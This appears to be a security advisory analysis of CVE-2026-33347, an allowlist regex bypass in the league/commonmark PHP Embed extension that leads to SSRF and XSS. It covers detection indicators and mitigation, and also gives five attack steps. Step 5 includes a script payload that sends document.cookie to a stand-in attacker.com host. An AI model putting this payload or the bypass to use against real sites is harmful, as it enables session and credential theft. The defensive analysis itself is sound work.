CVE-2026-33347: 
PHP vulnerability analysis and mitigation

CVE-2026-33347 is an allowlist bypass vulnerability in the DomainFilteringAdapter of the Embed extension in league/commonmark, a PHP Markdown parsing library. The flaw allows an attacker-controlled domain such as youtube.com.evil to pass the allowed_domains allowlist check when youtube.com is a permitted domain, due to a missing hostname boundary assertion in the domain-matching regex. This enables both Server-Side Request Forgery (SSRF) and Cross-Site Scripting (XSS) attack vectors. Affected versions are >= 2.3.0 and <= 2.8.1; the issue was disclosed and patched on March 19, 2026. The CVSS v4 base score is 6.3 (Medium) (GitHub Advisory).

The root cause is an incorrectly constructed regular expression (CWE-185) in DomainFilteringAdapter::createRegex(), which built a pattern like /^(?:https?:\/\/)?(?:[^.]+\.)*(<allowed_domain>)/ without anchoring the end of the hostname. This allowed a domain such as youtube.com.evil to match the pattern for youtube.com because the regex does not assert that the matched domain is at the end of the hostname. The fix in version 2.8.2 replaces the regex entirely with PHP's parse_url() for explicit hostname extraction, followed by exact string comparison ($host === $domain || str_ends_with($host, '.' . $domain)), eliminating the boundary ambiguity. Exploitation requires that the application processes untrusted Markdown input with the Embed extension enabled and allowed_domains configured — no authentication is required from the attacker's perspective. The two resulting attack vectors are SSRF (CWE-918) via OscaroteroEmbedAdapter making server-side HTTP requests to the attacker's host, and reflected/stored XSS (CWE-79) via EmbedRenderer outputting unsanitized oEmbed HTML responses directly into the page (GitHub Advisory, Patch Commit).

Successful exploitation can result in two distinct impacts: via SSRF, the server is induced to make outbound HTTP requests to attacker-controlled infrastructure, potentially exposing internal service metadata, probing internal network resources, or exfiltrating request-level information (e.g., headers, tokens). Via XSS, arbitrary HTML and JavaScript injected through the attacker's oEmbed response is rendered verbatim in the victim's browser, enabling session hijacking, credential theft, or malicious redirects. Availability is not directly impacted, but confidentiality and integrity of both the vulnerable system and downstream users are at risk (GitHub Advisory).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported as of the time of disclosure. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.043% (3rd percentile), indicating a low near-term exploitation probability. Exploitation requires that the target application accepts untrusted Markdown input and has the Embed extension enabled with allowed_domains configured, which limits the attack surface to specific deployment configurations (GitHub Advisory, Feedly).

1. Reconnaissance: Identify a target application that uses league/commonmark versions 2.3.0–2.8.1 with the Embed extension enabled and allowed_domains configured (e.g., youtube.com). This can be inferred from application behavior — if embedding YouTube links in Markdown renders oEmbed content, the extension is likely active.
2. Register attacker-controlled domain: Set up a domain that appends .evil (or any suffix) to an allowed domain, e.g., youtube.com.evil, and configure it to serve a malicious oEmbed JSON response.
3. Craft malicious Markdown: Construct a Markdown embed link pointing to the attacker-controlled domain, e.g., ![embed](https://youtube.com.evil/video). The DomainFilteringAdapter regex matches youtube.com within youtube.com.evil and passes the allowlist check.
4. Trigger SSRF: Submit the crafted Markdown to the application. The OscaroteroEmbedAdapter makes a server-side HTTP request to https://youtube.com.evil/video, which the attacker's server receives — exposing server IP, headers, and potentially internal network reachability.
5. Trigger XSS: Configure the attacker's oEmbed endpoint to return a JSON response with an html field containing arbitrary JavaScript, e.g., {"html": "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"}. The EmbedRenderer outputs this HTML verbatim into the rendered page, executing the script in the victim's browser when they view the content (GitHub Advisory, Patch Commit).

• Network: Outbound HTTP/HTTPS requests from the application server to unexpected external domains that superficially resemble allowlisted domains (e.g., youtube.com.evil, vimeo.com.attacker.com); server-side requests to domains not in the configured allowed_domains list.
• Logs: Web server or application logs showing oEmbed fetch requests to domains matching the pattern <allowed_domain>.<attacker_tld>; HTTP 200 responses from unexpected external hosts during Markdown rendering.
• Network: Unusual DNS lookups from the application server for domains that are supersets of known-allowed embed domains.
• Logs: Browser-side CSP violation reports (if CSP is enabled) triggered by inline scripts or unexpected resource loads originating from rendered Markdown content.
• File System / Application: Rendered page content containing unexpected <script> tags or iframe elements sourced from non-allowlisted domains in oEmbed output.

Upgrade league/commonmark to version 2.8.2 or later, which replaces the flawed regex-based domain check with parse_url()-based exact hostname matching (Release 2.8.2). If immediate upgrade is not possible, the following workarounds can reduce risk:

• Disable the Embed extension entirely, or restrict Markdown input processing to trusted users only.
• Implement a custom EmbedAdapterInterface with proper hostname validation.
• Enable a Content Security Policy (CSP) to limit the impact of any injected scripts.
• Apply outbound firewall rules to restrict the application server's ability to make arbitrary external HTTP requests (GitHub Advisory).

The vulnerability was reported by researcher HuajiHD and patched by maintainer colinodell (Colin O'Dell) on March 19, 2026, the same day of disclosure — indicating a coordinated, responsible disclosure process. The fix was released as a dedicated security release (2.8.2), and the changelog explicitly labels it a security release addressing SSRF and XSS risks. Ubuntu and other Linux distributions subsequently issued advisories for their packaged versions of league/commonmark (Linux Security). No significant broader social media discussion or notable researcher commentary beyond the advisory has been identified.